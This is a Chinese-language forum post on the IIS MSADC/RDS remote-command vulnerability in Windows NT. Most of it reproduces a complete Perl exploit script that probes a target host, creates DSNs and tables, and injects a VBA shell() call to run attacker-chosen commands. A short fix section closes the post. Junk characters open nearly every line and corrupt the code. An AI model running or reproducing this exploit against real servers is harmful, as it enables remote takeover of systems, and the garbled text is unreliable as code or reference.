IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
P ],) ^cKv JSY 涉及程序：
rC1qGzg\a Microsoft NT server
zezofW]a ,N) )=/ 描述：
Y1yv I 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
36x5 q 1 .dg 4gr \D 详细：
k@cZ"jYA 如果你没有时间读详细内容的话，就删除:
P0`>{!r6@ c:\Program Files\Common Files\System\Msadc\msadcs.dll
+7lRP)1R 有关的安全问题就没有了。
*tbpF k4/ I;Z`!u:+ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
>~^mIu_BH 2heWE 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
Y7b,t d1 关于利用ODBC远程漏洞的描述，请参看:
;S{Ld1; ]$?zT`>(F http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ( TbB?X} ||*&g2Y 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
UL@5*uiX http://www.microsoft.com/security/bulletins/MS99-025faq.asp VAF:Z R.T?ZF 这里不再论述。
NXWIE4T>*^ n8;G,[GM80 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
oC@"^>4
yv8dfl /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
SS45<!i y 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
&Gy'AUz- kERaY9L\ n{qw ]/ #将下面这段保存为txt文件，然后: "perl -x 文件名"
r=P $iG'& 9 `gGsC #!perl
om*tdG #
$Kw"5cm # MSADC/RDS 'usage' (aka exploit) script
tx|"v|&e2 #
mAYr<= # by rain.forest.puppy
X"qbB4 (I #
!5'
8a5 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
I ")" s # beta test and find errors!
gqHH Hh &]"_pc/>m use Socket; use Getopt::Std;
Bgo"JNM getopts("e:vd:h:XR", \%args);
79c 9 + (
F"& A? print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
00.iMmJ u%gm+NneK if (!defined $args{h} && !defined $args{R}) {
?: ;hTY print qq~
b 3 %& Usage: msadc.pl -h <host> { -d <delay> -X -v }
Ph! KL\ -h <host> = host you want to scan (ip or domain)
G(Idiw#WT -d <seconds> = delay between calls, default 1 second
pRk'GR]` -X = dump Index Server path table, if available
_uy5?auQ -v = verbose
|V~(mS747: -e = external dictionary file for step 5
7 , &]1+n Lct+cK KU Or a -R will resume a command session
6_` eTL=G \.{pZMM ~; exit;}
?+} E 9>$%F;JP44 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
|qudJucV if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
\A ~I>x if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
|"tV[" a if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
6!}m$Dvt~ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
A0N ;VYv if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
~_ l: b !i"9f_ if (!defined $args{R}){ $ret = &has_msadc;
dC;d>j, die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
y
4,T s$nfY.C print "Please type the NT commandline you want to run (cmd /c assumed):\n"
I!0 $%
]F . "cmd /c ";
yQA"T? $in=<STDIN>; chomp $in;
EJ
&ZZg $command="cmd /c " . $in ;
1r-,V X7 x+)hL
D[
n if (defined $args{R}) {&load; exit;}
<4A(Z$ZX) gQ+_&'C print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
ywsz" /=@ &try_btcustmr;
B Uy}Rn hoD[wAC print "\nStep 2: Trying to make our own DSN...";
5-QvQ&eH. &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
WG[0$j C>K"ZJ print "\nStep 3: Trying known DSNs...";
.D2ub/er &known_dsn;
Z5^,!6 V\7u print "\nStep 4: Trying known .mdbs...";
bM3'm$34 &known_mdb;
t"74HZO > MT#[ - M\ if (defined $args{e}){
7zk m print "\nStep 5: Trying dictionary of DSN names...";
d7-F&!sQ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
aid)q&AcQ 5A=xF j{ print "Sorry Charley...maybe next time?\n";
!E>3N: exit;
jQwg)E+o; v'Py[[R ##############################################################################
^&w'`-ra ;uo|4?E:\( sub sendraw { # ripped and modded from whisker
UNH}*]u4` sleep($delay); # it's a DoS on the server! At least on mine...
Y8CYkJTAD- my ($pstr)=@_;
z )}wo3 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
8'_
]gfF die("Socket problems\n");
VTX'f 2\ if(connect(S,pack "SnA4x8",2,80,$target)){
PQ!?gj select(S); $|=1;
zZ"')+7q&% print $pstr; my @in=<S>;
wCE fR!i select(STDOUT); close(S);
N@`9 ~JS return @in;
v_ F?x! } else { die("Can't connect...\n"); }}
{~p %\ x?k |i}Q ##############################################################################
bA9d be c$Nl-?W sub make_header { # make the HTTP request
8w@jUGsc my $msadc=<<EOT
l=OC?d*m POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
>a]
s User-Agent: ACTIVEDATA
H-y-7PW*~ Host: $ip
I :2jwAl Content-Length: $clen
Q ]koj!mMl Connection: Keep-Alive
O7_NX fh| K]azUK7 ADCClientVersion:01.06
}j<_J I Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
sAAIyPJts ewlc ^` --!ADM!ROX!YOUR!WORLD!
/SM#hwFxJ& Content-Type: application/x-varg
&7y1KwfXn Content-Length: $reqlen
=8 1Xt1, 7&U+f:-w EOT
I3=Sc^zz&V ; $msadc=~s/\n/\r\n/g;
Wv'B[; [) return $msadc;}
r 3lr`s` #S74C*'8 ##############################################################################
2OOj8JS y]z# ? ? sub make_req { # make the RDS request
B!C32~[ my ($switch, $p1, $p2)=@_;
"%iR-s_> my $req=""; my $t1, $t2, $query, $dsn;
nLLHggNAV Mh B=+S[@ if ($switch==1){ # this is the btcustmr.mdb query
?=o]Wx0(9 $query="Select * from Customers where City=" . make_shell();
; ."{0gq $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
,3TD $2};. $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
$fpDABf ' `VO@a elsif ($switch==2){ # this is general make table query
;iI2K/ 3 $query="create table AZZ (B int, C varchar(10))";
s5|)4Z ac $dsn="$p1";}
8{^GC(W {] L7'X7WYf& elsif ($switch==3){ # this is general exploit table query
4 6JP1 $query="select * from AZZ where C=" . make_shell();
\}&w/.T $dsn="$p1";}
;7{wa]
hzVr3;3Zn
elsif ($switch==4){ # attempt to hork file info from index server
pv.),Iv-68 $query="select path from scope()";
X~VZ61vNu $dsn="Provider=MSIDXS;";}
9jFDBy+ L.&Vi"M <@ elsif ($switch==5){ # bad query
Olrw>YbW $query="select";
?fwr:aP~ $dsn="$p1";}
~9 nrS9) k5< 0M' $t1= make_unicode($query);
S^_yiV
S $t2= make_unicode($dsn);
lk'jBl% $req = "\x02\x00\x03\x00";
Zl/ +HU~ $req.= "\x08\x00" . pack ("S1", length($t1));
BiAcjN:Z $req.= "\x00\x00" . $t1 ;
]@
0 V $req.= "\x08\x00" . pack ("S1", length($t2));
#3jZ7RqzQ $req.= "\x00\x00" . $t2 ;
HUX+d4sg $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
KUV{]?' return $req;}
,tc]E45 obkv ]~ ##############################################################################
(.t:sn"P }{PtQc6RL! sub make_shell { # this makes the shell() statement
~oyPmIcb return "'|shell(\"$command\")|'";}
W|
eG} ` Hd}t=6 ##############################################################################
^8t*WphZC K_Gf\x sub make_unicode { # quick little function to convert to unicode
@ y %qQe/g my ($in)=@_; my $out;
Gs?sO?j for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Xc<9[@ return $out;}
Cf 8 - % J8[Xl. ##############################################################################
dTNgrW`4 ITOGD sub rdo_success { # checks for RDO return success (this is kludge)
? 7dDQI7^( my (@in) = @_; my $base=content_start(@in);
RLr-xg$K-t if($in[$base]=~/multipart\/mixed/){
dz DssAHy return 1 if( $in[$base+10]=~/^\x09\x00/ );}
.j,&/y& return 0;}
> @\ - m 2 z l ##############################################################################
'Pn`V{a W # /Ol59 sub make_dsn { # this makes a DSN for us
+1A<kJ my @drives=("c","d","e","f");
.h } D%Qa print "\nMaking DSN: ";
ZuON@ ( foreach $drive (@drives) {
QpZhxp print "$drive: ";
0
N^V&k my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
?Io2lFvI@Y "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
3@A k6Uh . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
s;) t LJ! $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
mQ)l`w Gh return 0 if $2 eq "404"; # not found/doesn't exist
#@`^
. if($2 eq "200") {
aesFv)5DK foreach $line (@results) {
8BdeqgU/_ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
kF7Al]IgT } return 0;}
27 gm_ * B) iJH ##############################################################################
&}?e:PEy 1 1'Tt! sub verify_exists {
6 <GWDO my ($page)=@_;
a_x6 v* my @results=sendraw("GET $page HTTP/1.0\n\n");
O`| ri5d return $results[0];}
s!\L1E m]vr|:{6/ ##############################################################################
Sy~Mh]{E %?y`_~G sub try_btcustmr {
{hR23eE)# my @drives=("c","d","e","f");
c }cboe2 my @dirs=("winnt","winnt35","winnt351","win","windows");
/267Q;d
C) x F#)T * foreach $dir (@dirs) {
w, wt<@} print "$dir -> "; # fun status so you can see progress
WNi<|A#T{ foreach $drive (@drives) {
!Hg#c!eOg print "$drive: "; # ditto
j_g9RmZT $reqlen=length( make_req(1,$drive,$dir) ) - 28;
yLX\pkAt4 $reqlenlen=length( "$reqlen" );
|0
VP^md $clen= 206 + $reqlenlen + $reqlen;
&c !-C_L 2 {,-# ;A*yW my @results=sendraw(make_header() . make_req(1,$drive,$dir));
-"H9 W: if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
*l}
0x@ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
E{B<}n|}& Cm>F5$l{ ##############################################################################
"+60B0>sc M>j)6?n`_ sub odbc_error {
q fe#k F9 my (@in)=@_; my $base;
$<#sCrNX my $base = content_start(@in);
'%4,! if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
1x)%9u} $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
aV.<<OS $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
2;tp>,G9d $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
N"{o3QmA return $in[$base+4].$in[$base+5].$in[$base+6];}
HB^azHr print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
'` "&RuB print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
F'!}$oT" $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
%Z|*!A+wN5 +d96Z^KUhv ##############################################################################
cm<3'#~Q? Ws@ s(5r sub verbose {
9p<l}h7g my ($in)=@_;
??;[`_h{bz return if !$verbose;
ySZ)yT print STDOUT "\n$in\n";}
R(fR1 I1jF`xQ&0 ##############################################################################
Q[^d{e*l |d8o<Q sub save {
vC1 `m my ($p1, $p2, $p3, $p4)=@_;
(@9-"W open(OUT, ">rds.save") || print "Problem saving parameters...\n";
`x3c},'@k print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
&~EOM close OUT;}
|V5H(2/nk aDESO 5 ##############################################################################
ho. a93 4{=Em5`HbO sub load {
{s]eXc]K} my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
gB#t"s) open(IN,"<rds.save") || die("Couldn't open rds.save\n");
<T>f@Dn, @p=<IN>; close(IN);
WqO* vK!t $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
^q$sCt} $target= inet_aton($ip) || die("inet_aton problems");
Yy]He nw; print "Resuming to $ip ...";
c"r( l~fc $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
(H7q [UG| if($p[1]==1) {
Vow+,,oh $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
.*{LPfD| $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
YDJc@*D my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
!% Md9Mu!o if (rdo_success(@results)){print "Success!\n";}
f QdQ[ else { print "failed\n"; verbose(odbc_error(@results));}}
pe 8MG(V elsif ($p[1]==3){
a >6p])Wh if(run_query("$p[3]")){
\uH;ng|m print "Success!\n";} else { print "failed\n"; }}
n&^Rs )%v elsif ($p[1]==4){
ek<U2C_u# if(run_query($drvst . "$p[3]")){
z!tHn# print "Success!\n"; } else { print "failed\n"; }}
1?;s!6= exit;}
IZGty=Q_ D
KOdqTW ##############################################################################
W=drp>Uj tQ"PCm
sub create_table {
Sk xaS J" my ($in)=@_;
Z q)A"'Y $reqlen=length( make_req(2,$in,"") ) - 28;
vnE , }(M $reqlenlen=length( "$reqlen" );
4I$ #R $clen= 206 + $reqlenlen + $reqlen;
_ #I0m( my @results=sendraw(make_header() . make_req(2,$in,""));
dJk.J9Z return 1 if rdo_success(@results);
hk(^?Fp my $temp= odbc_error(@results); verbose($temp);
:Fh* 4
&Z return 1 if $temp=~/Table 'AZZ' already exists/;
LF8B5<[O return 0;}
H)Yv_gT vhKD_}}aP ##############################################################################
2B|3`trY4x IlY,V sub known_dsn {
G 7u85cie # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
h4U .wk my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
hM-q C|! "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
] GJskBm "banner", "banners", "ads", "ADCDemo", "ADCTest");
MEE]6nU LYT0 XB)A foreach $dSn (@dsns) {
'yl`0,3wV print ".";
.[7m4iJf next if (!is_access("DSN=$dSn"));
Kgcg:r : if(create_table("DSN=$dSn")){
/dIiFr"e}G print "$dSn successful\n";
"qF8'58 if(run_query("DSN=$dSn")){
GCrMrZ6 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
,+X Q!y% print "Something's borked. Use verbose next time\n";}}} print "\n";}
vjW S35i XS>4efCJ ##############################################################################
`eA 0Z:`g! ) E5ax~ sub is_access {
&}WSfZ0{ my ($in)=@_;
gxF3gM $reqlen=length( make_req(5,$in,"") ) - 28;
vg<_U&N=-r $reqlenlen=length( "$reqlen" );
qzq>C"z\Y$ $clen= 206 + $reqlenlen + $reqlen;
HG3jmI+u> my @results=sendraw(make_header() . make_req(5,$in,""));
>%{h_5 my $temp= odbc_error(@results);
3.soCyxmc verbose($temp); return 1 if ($temp=~/Microsoft Access/);
,ua]h8 return 0;}
:t(}h!7 C)`/Q( ^ ##############################################################################
rz4S"4 NWFZ:h@v sub run_query {
I3A](`
my ($in)=@_;
'8Yx $reqlen=length( make_req(3,$in,"") ) - 28;
fV3J:^)F $reqlenlen=length( "$reqlen" );
r3|vu"Ue i $clen= 206 + $reqlenlen + $reqlen;
r]TeR$NJ my @results=sendraw(make_header() . make_req(3,$in,""));
mIOx)`$ return 1 if rdo_success(@results);
&#~yci2{ my $temp= odbc_error(@results); verbose($temp);
cOIshT1 return 0;}
{ aU~[5L3( FG? B:Zl%T ##############################################################################
5ES$qYN N52N ^X> sub known_mdb {
avdi9!J2 my @drives=("c","d","e","f","g");
rLp0VKPe my @dirs=("winnt","winnt35","winnt351","win","windows");
B4|3@X0( my $dir, $drive, $mdb;
*M&~R(TMn my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
X BBsdldZ R5Ti|k.~Y" # this is sparse, because I don't know of many
KY@k4S+ my @sysmdbs=( "\\catroot\\icatalog.mdb",
o4d>c{p "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
}V 09tK/M "\\system32\\certmdb.mdb",
WFTTBUoH "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
*5wb8 [ S#jE1 EN my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
O - @7n0 "\\cfusion\\cfapps\\forums\\forums_.mdb",
xHHG|
u "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
U4%P0}q/ "\\cfusion\\cfapps\\security\\realm_.mdb",
o;}o"-s "\\cfusion\\cfapps\\security\\data\\realm.mdb",
J-=&B5"O> "\\cfusion\\database\\cfexamples.mdb",
M>-x \[n+ "\\cfusion\\database\\cfsnippets.mdb",
;vuok] @ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
I6\ l 6 o "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
[(]uin+9Q "\\cfusion\\brighttiger\\database\\cleam.mdb",
*P D7H9m "\\cfusion\\database\\smpolicy.mdb",
gmt`_Dpm$ "\\cfusion\\database\cypress.mdb",
Tk)y* y "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
.#CTL|x "\\website\\cgi-win\\dbsample.mdb",
s %/3X\_ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
y "gYv "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
GDhg
VOW( ); #these are just
-K PbA`j+ foreach $drive (@drives) {
sOv:/' foreach $dir (@dirs){
ZfoI7<?33 foreach $mdb (@sysmdbs) {
&!_ >J0 print ".";
(|<}q-wO if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
G3m +E;o1 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
zoA]7pG- if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
1Z|q0-Dw0 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
.- uH ax0 } else { print "Something's borked. Use verbose next time\n"; }}}}}
j%0D:jOY] YDO#Q= q% foreach $drive (@drives) {
WUZusW5s foreach $mdb (@mdbs) {
bvi
Y.G3 print ".";
A(ql}cr if(create_table($drv . $drive . $dir . $mdb)){
ELPzqBI print "\n" . $drive . $dir . $mdb . " successful\n";
y @e/G 3 if(run_query($drv . $drive . $dir . $mdb)){
w_P nEJa9 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
^_n( >$
EK } else { print "Something's borked. Use verbose next time\n"; }}}}
B/AS|i] sM }
>,7 -cm=. ,x&T8o/a ##############################################################################
k,OP*M V& _ sub hork_idx {
lh{U@,/ print "\nAttempting to dump Index Server tables...\n";
=[`B -? print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
s
+"?j $reqlen=length( make_req(4,"","") ) - 28;
OjFB_
N $reqlenlen=length( "$reqlen" );
ch!/k $clen= 206 + $reqlenlen + $reqlen;
YH@p\#Y my @results=sendraw2(make_header() . make_req(4,"",""));
<BEM`2B if (rdo_success(@results)){
c7Jfo
x
V my $max=@results; my $c; my %d;
V 9bn for($c=19; $c<$max; $c++){
lXjh T $results[$c]=~s/\x00//g;
0M-=3 T $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
7a\at)q/y $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
)lwxF P; $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
bW-9YXj% $d{"$1$2"}="";}
Ia
%> c foreach $c (keys %d){ print "$c\n"; }
"w7wd5h } else {print "Index server doesn't seem to be installed.\n"; }}
C/_Z9LL?F ? )X 0l ##############################################################################
wF[%+n (* + XMKRt sub dsn_dict {
b"k1N9 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
4c0 =\v while(<IN>){
{Dup k0'( $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
k n T CX next if (!is_access("DSN=$dSn"));
C;>!SRCp if(create_table("DSN=$dSn")){
Z4KY VHD, print "$dSn successful\n";
=^ 3 Z
L if(run_query("DSN=$dSn")){
OiI29 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Ku$:. print "Something's borked. Use verbose next time\n";}}}
LYhj I print "\n"; close(IN);}
'i oX,KD | $ ##############################################################################
'A2^K5`3 ~T">)Y~+xI sub sendraw2 { # ripped and modded from whisker
(J} tC qP sleep($delay); # it's a DoS on the server! At least on mine...
E?v:7p< my ($pstr)=@_;
/# TtAkH socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Bre:_>* die("Socket problems\n");
C( wZj O?N if(connect(S,pack "SnA4x8",2,80,$target)){
Bc&Y[u-n print "Connected. Getting data";
J@$KF GUs open(OUT,">raw.out"); my @in;
= Zi'L48 select(S); $|=1; print $pstr;
1# }}: while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
&65I
6 close(OUT); select(STDOUT); close(S); return @in;
mH6\8I } else { die("Can't connect...\n"); }}
` "Lk@ o=C:= ##############################################################################
0Sx$6:-~ qg1tDN`s sub content_start { # this will take in the server headers
r| av|7 R my (@in)=@_; my $c;
D qu?mg;L for ($c=1;$c<500;$c++) {
;T hn C>U if($in[$c] =~/^\x0d\x0a/){
B5v5D[ o5 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
@5} (Y( @ else { return $c+1; }}}
rUn1*KWbE return -1;} # it should never get here actually
$-AG $1 ,)?!p_*@: ##############################################################################
4m1@lnjp \uG^w(*) sub funky {
yo^M>^P\N my (@in)=@_; my $error=odbc_error(@in);
*jC Hv if($error=~/ADO could not find the specified provider/){
C :r3z50 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
({$>o] <h exit;}
9w!PA-) L if($error=~/A Handler is required/){
zoibinm}Eg print "\nServer has custom handler filters (they most likely are patched)\n";
OjWg>v\ v exit;}
:6T LT-B if($error=~/specified Handler has denied Access/){
[[s^rC<d print "\nServer has custom handler filters (they most likely are patched)\n";
,eSII2,r4 exit;}}
,,8'29yEq bt' lT ##############################################################################
<H,E1kGw9 k|4}D o%; sub has_msadc {
}y>/#]X my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
yU|=)p5 my $base=content_start(@results);
fL(_V/p^ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Q3<ctd\]Y return 0;}
l3N '@GO 'r'+$ D7 ########################
Rt.2]eZEJ d~qZ;uw \)M
EM= U 解决方案：
6DVHJ+WTV 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
?G>E[!8ev 2、移除web 目录: /msadc
